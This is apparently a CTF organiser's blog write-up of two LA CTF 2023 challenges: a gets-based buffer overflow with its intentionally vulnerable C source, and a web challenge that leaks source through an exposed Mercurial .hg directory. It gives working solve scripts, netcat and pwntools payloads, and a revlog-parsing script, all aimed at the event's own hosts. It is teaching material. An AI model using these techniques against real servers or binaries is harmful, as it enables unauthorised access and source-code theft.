Post

gatekeep & my-chemical-romance - LA CTF 2023

Buffer overflow and Mercurial file inclusion challenges I wrote for LA CTF 2023.

Introduction

This past weekend I lead the team that ran LA CTF 2023! This was something I had been working on for the past year and it was super exciting to see it all come together in the end. We had almost 1000 teams and 1.7k people register for the event. There are a lot of highlights from this weekend from the amazing talks to the awesome challenges. I will be writing a blog post about the event soon but for now I wanted to share the challenges. I wrote two challenges for LA CTF 2023 for ACM Cyber at UCLA and Psi Beta Rho.

Contents:


pwn/gatekeep

LA CTF 2023 Banner

This challenge involved taking advantage of a classic buffer overflow. The challenge provided the source code for the challenge and a binary (the Dockerfile was included for local testing ease but the other two files are more relevant). The provided source code is below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>

void print_flag() {
    char flag[256];

    FILE* flagfile = fopen("flag.txt", "r");
    
    if (flagfile == NULL) {
        puts("Cannot read flag.txt.");
    } else {
        fgets(flag, 256, flagfile);
        flag[strcspn(flag, "\n")] = '\0';
        puts(flag);
    }
}

int check(){
    char input[15];
    char pass[10];
    int access = 0;

    // If my password is random, I can gatekeep my flag! :)
    int data = open("/dev/urandom", O_RDONLY);
    if (data < 0)
    {
        printf("Can't access /dev/urandom.\n");
        exit(1);
    }
    else
    {
        ssize_t result = read(data, pass, sizeof pass);
        if (result < 0)
        {
            printf("Data not received from /dev/urandom\n");
            exit(1);
        }
    }
    close(data);
    
    printf("Password:\n");
    gets(input);

    if(strcmp(input, pass)) {
        printf("I swore that was the right password ...\n");
    }
    else {
        access = 1;
    }

    if(access) {
        printf("Guess I couldn't gaslight you!\n");
        print_flag();
    }
}

int main(){
    setbuf(stdout, NULL);
    printf("If I gaslight you enough, you won't be able to guess my password! :)\n");
    check();
    return 0;
}

At first glance, the challenge seems impossible! It asks for the user to input a password that is compared with a string that is randomly generated using /dev/urandom. This introduces an introductory binary exploitation vulnerability called buffer overflow. In this program, the vulnerability is the gets function. gets does not check the length of the input. This means that if we input more than 15 characters, we can overwrite the value of access which can be used to get the flag (setting it to any non-zero value results in the flag being printed). The following script solves the challenge.

1
2
python3 -c 'print("a"*50)' | nc lac.tf 31121
> lactf{sCr3am1nG_cRy1Ng_tHr0w1ng_uP}

Unintended: /dev/urandom

While reading some of the submitted writeups after the CTF, I learned about an additional vulnerability that also allowed this beginner challenge to be solved. The vulnerability comes from the combination of using strcmp with an string from /dev/urandom. As mentioned before, strcmp reads strings until the null character is reached. This means that if the string from /dev/urandom contains a null character, the strcmp function will stop reading the string and we can bypass the password check and get the flag. There is a 1/256 chance of getting a nullbyte so continuing to check a nullbyte as the given input will eventually return true. The following script also works as a solution to the challenge.

1
2
3
4
5
6
7
8
9
10
from pwn import *
while (true):
    r = remote('lac.tf', 31121)
    r.recvuntil(b'Password:\n')
    r.sendline(b'\x00')
    next = r.recvline()
    if (next[-4:] == b'ou!\n'):
        print(r.recv())
        break
    r.close()

I particularly wanted to highlight the writeups of giggsterpuku and a1668k for highlighting this vulnerability. giggsterpuku also added an explanation for how this vulnerability was a feature for a challenge from Angstrom CTF 2021. Definitely recommend giving both of these a read! If you are interested in trying this challenge yourself, the source code is available at https://github.com/uclaacm/lactf-archive/tree/main/2023/pwn/gatekeep.


web/my-chemical-romance

LA CTF 2023 Banner

This challenged involved taking advantage of leaked source code via an file inclusion of a Mercurial repository. Visiting the link in the above challenge prompt, we are greeted with a page that looks like this:

my-chemical-romance site

Without knowing anything else about the challenge, one can start by investingating parts of the client side until they stumble into the network tab where we see a set of interesting response headers which look like the following:

my-chemical-romance network tab

What exactly is Mercurial-SCM? Mercurial is a lesser-known source-control management software similar to git. While it may be lesser-known, it is still used by many companies and project teams (one example is Meta). Whereas git generates a .git/ directory, Mercurial uses a .hg/ directory. The .hg/ directory contains a lot of information about the repository, including the commit history, the files in the repository, and the branches. The structure of the .hg/ directory is well documented and more can be read about it here. In order to get a general layout of the repository, the dirstate file can be downloaded by visiting http://my-chemical-romance.lac.tf/.hg/dirstate to get the following file:

1
>À:y‚U·ëÒ≈*Œ	*}„/V>nˇˇˇˇˇˇˇˇgerard_way2001.pynŧ>cÊX8static/404.htmlnŧ9cÊW¿static/index.cssnˇˇˇˇˇˇˇˇstatic/index.htmlnŧ“cÊXstatic/mcr-meme.jpegnŧQcÊJ‹static/my-chemical-romance.jpeg

This leaks several interesting files, including gerard_way2001.py. This file is affectionately named after the lead singer of My Chemical Romance, Gerard Way, and the year the band was started in the great state of New Jersey! Reading more about Mercurial repository structure, one can learn that similar to Git objects, Mercurial stores revlog objects in the .hg/store/ directory with files named after the file they are tracking with the file extension of .i. However, one tricky part about the name of these files involves the escaping of special characters. Mercurial escapes special characters in the file name by adding an additional underscore. One of these such characters is the underscore character itself. :D For this reason, in order to download the revlog object for gerard_way2001.py, we need to visit http://my-chemical-romance.lac.tf/.hg/store/data/gerard__way2001.py.i. Once this file is downloaded, a known algorithm to parse the revlog object can be used to extract the contents of the file. A sample version of such a script is included below. You can run the following solve script by using python3 solve.py | grep lactf to get the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import os, sys
import requests

from mercurial.node import hex
from mercurial import encoding, pycompat, revlog
from mercurial.utils import procutil

from mercurial.revlogutils import constants as revlog_constants

url = 'http://my-chemical-romance.lac.tf/'
filename = 'gerard__way2001.py.i'

res = requests.get(url + '/.hg/store/data/' + 'gerard__way2001.py.i')

with open('gerard__way2001.py.i', 'wb') as file:
    file.write(res.content)

for fp in (sys.stdin, sys.stdout, sys.stderr):
    procutil.setbinary(fp)

def binopen(path, mode=b'rb'):
    if b'b' not in mode:
        mode = mode + b'b'
    return open(path, pycompat.sysstr(mode))

binopen.options = {}

def printb(data, end=b'\n'):
    sys.stdout.flush()
    procutil.stdout.write(data + end)

localf = encoding.strtolocal(filename)
if not localf.endswith(b'.i'):
    print("file:", filename, file=sys.stderr)
    print("  invalid filename", file=sys.stderr)

r = revlog.revlog(binopen, target=(revlog_constants.KIND_OTHER, b'dump-revlog'), radix=localf[:-2], )

for i in r:
    n = r.node(i)
    p = r.parents(n)
    d = r.revision(n)
    printb(b"node: %s" % hex(n))
    printb(b"linkrev: %d" % r.linkrev(i))
    printb(b"parents: %s %s" % (hex(p[0]), hex(p[1])))
    printb(b"length: %d" % len(d))
    printb(b"-start-")
    printb(d)
    printb(b"-end-")

os.remove(filename)

Running the above results in the following output to get the flag!

1
2
$ python3 solve.py | grep lactf
# FLAG: lactf{d0nT_6r1nk_m3rCur1al_fr0m_8_f1aSk}

Unintended: Using Mercurial

From reviewing writeups, many of the teams that solved this challenge ended up using this method. Even John Hammond got in on the action with a video about this challenge below!

Typically, for similar challenges with exposed git repositories, you are unable to just clone the entire repository by the URL served over HTTP beause of some missing files. However, for Mercurial, this is not the case. By directly cloning the website, the repository history is able to be easily accessed to revert back to previous commits to get the flag. A sample solution script is shown below:

1
2
3
4
5
hg clone https://my-chemical-romance.lac.tf test
cd test
hg log -f gerard_way2001.py
hg backout -r 3ecb3a79e255
grep lactf gerard_way2001.py

If you are interested in trying this challenge yourself, the source code is available at https://github.com/uclaacm/lactf-archive/tree/main/2023/web/my-chemical-romance.

This post is licensed under CC BY 4.0 by the author.